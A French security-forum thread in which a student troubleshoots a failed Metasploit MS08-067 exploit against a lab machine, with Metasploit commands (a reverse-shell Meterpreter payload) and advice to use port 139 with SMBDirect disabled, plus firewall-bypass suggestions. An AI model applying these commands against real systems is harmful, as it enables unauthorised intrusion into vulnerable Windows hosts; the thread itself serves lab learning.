Je fais des essais contre une machine que le professeur a installée dans le laboratoire. NMAP indique que le port 445 doit être filtré et Nessus confirme que la vulnérabilité ms08_067 est présente sur cette machine.
J'ai essayé d'exécuter Metasploit contre lui de manière normale:
use exlpoit/windows/smb/ms08_067_netapi
set RHOST TARGET_IP
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST MY_IP
exploit
Ça me dit:
[-] Exploit a échoué [inaccessible]: Rex :: ConnectionRefused La connexion a été refusée par l'hôte distant (192.168.2.2:445)
Je suppose que l'exploit échoue car le port 445 est filtré. Ce qui me laisse perplexe, c'est que Nessus peut apparemment vérifier que la vulnérabilité est présente. Puisque Nessus peut le faire via le port filtré, existe-t-il un moyen de lancer l'exploit via un port filtré? Y a-t-il des paramètres Metasploit qui doivent être arrangés?
Vous avez des informations contradictoires: nmap dit que le port est filtré mais nessus dit que la vulnérabilité est présente sur le système. Ils ne peuvent pas être tous les deux vrais, l'un d'eux doit être faux. Étant donné que metasploit n'est pas en mesure de se connecter, il est probable que nessus ne signale pas correctement ou fonde le rapport de vulnérabilité sur des informations glanées à partir d'autres ports ouverts. Si vous regardez page de tenable sur cet avis vous verrez que nessus peut le tester en utilisant le port 139 ou le port 445, donc 139 est probablement ouvert et peut être exploitable.
Même si le port 445 (SMB) est fermé, vous pourrez parfois exploiter cette vulnérabilité via le port 139 (NetBios). Dans metasploit, utilisez simplement la syntaxe suivante:
set RPORT 139; set SMBDirect false; exploit
tl; dr Non, vous ne pourrez pas exploiter directement cette vulnérabilité via un port filtré, et elle ne pourra pas être détectée de cette manière. Il doit se passer autre chose dans votre scénario.
Pourquoi?
Si ce port revient comme filtré, un pare-feu ou IPS supprime des paquets, ce qui signifie que vous ne recevrez aucune réponse du serveur. Cette faille (MS08-067) ne peut être détectée que par Nessus si le scanner de vulnérabilité peut établir une connexion SMB à ce port. Nessus ne tentera pas automatiquement de contourner le pare-feu de quelque façon que ce soit, mais pourrait effectuer un autre type d'analyse de port qui pourrait produire des résultats différents.
Raisons possibles des résultats que vous voyez:
Nessus peut détecter la vulnérabilité sur un autre port, probablement NetBIOS sur TCP (NBT) sur TCP/139. Vérifiez attentivement le rapport Nessus. Dans ce cas, vous devrez set RPORT 139
et aussi set SMBDirect false
. Ce dernier est une option avancée (show advanced
).
Une sorte de prévention des intrusions s'exécute entre vous et l'hôte cible (ou sur l'hôte cible), ce qui entraîne des résultats d'analyse de port incohérents. Essayez d'exécuter NMAP dans différentes configurations (-sS
, -sT
, -p445,139
etc) pour voir si les résultats sont cohérents. Cela n'explique pas vraiment pourquoi Nessus serait capable de le détecter, mais il n'est pas exploitable par Metasploit. Cela semble également peu probable dans un environnement de laboratoire, sauf si le laboratoire a été spécifiquement configuré pour IPS évasion.
"Filtré" signifie généralement qu'aucune réponse n'a été reçue du port (par opposition à fermé, qui répond avec le paquet RST - voir Port Scanner sur wikipedia ). Cela indique généralement que le pare-feu supprime simplement les paquets qui vont à ce port et il est peu probable qu'il soit exploitable.
Vous pourrez peut-être utiliser la technique BNAT-Suite (également incluse dans Metasploit) ou la technique Nmap NSE firewallbypass) pour traverser le pare-feu ou le mécanisme de filtrage IP.
J'ai le même problème. Mon analyse nmap sur le smb-vuln-ms08-067 avec les ports 139 et 445 montre que le système analysé était vulnérable mais l'exploit n'a pas fonctionné.
set RPORT 139
et
set SMBDirect false
travaillé pour moi (Merci à Ricardo Reimao, je voulais faire un commentaire mais cela n'a pas fonctionné)
J'ai déjà essayé de définir le port sur 139, mais je ne connaissais pas l'option SMBDirect.
Je me demandais pourquoi msf ne m'a pas montré l'option en tapant "show options" et j'ai découvert que vous pouvez afficher plus d'options avec la commande "show advanced"
msf exploit(windows/smb/ms08_067_netapi) > show advanced
Module advanced options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
...
SMBDirect false no The target port is a raw SMB service (not NetBIOS)
...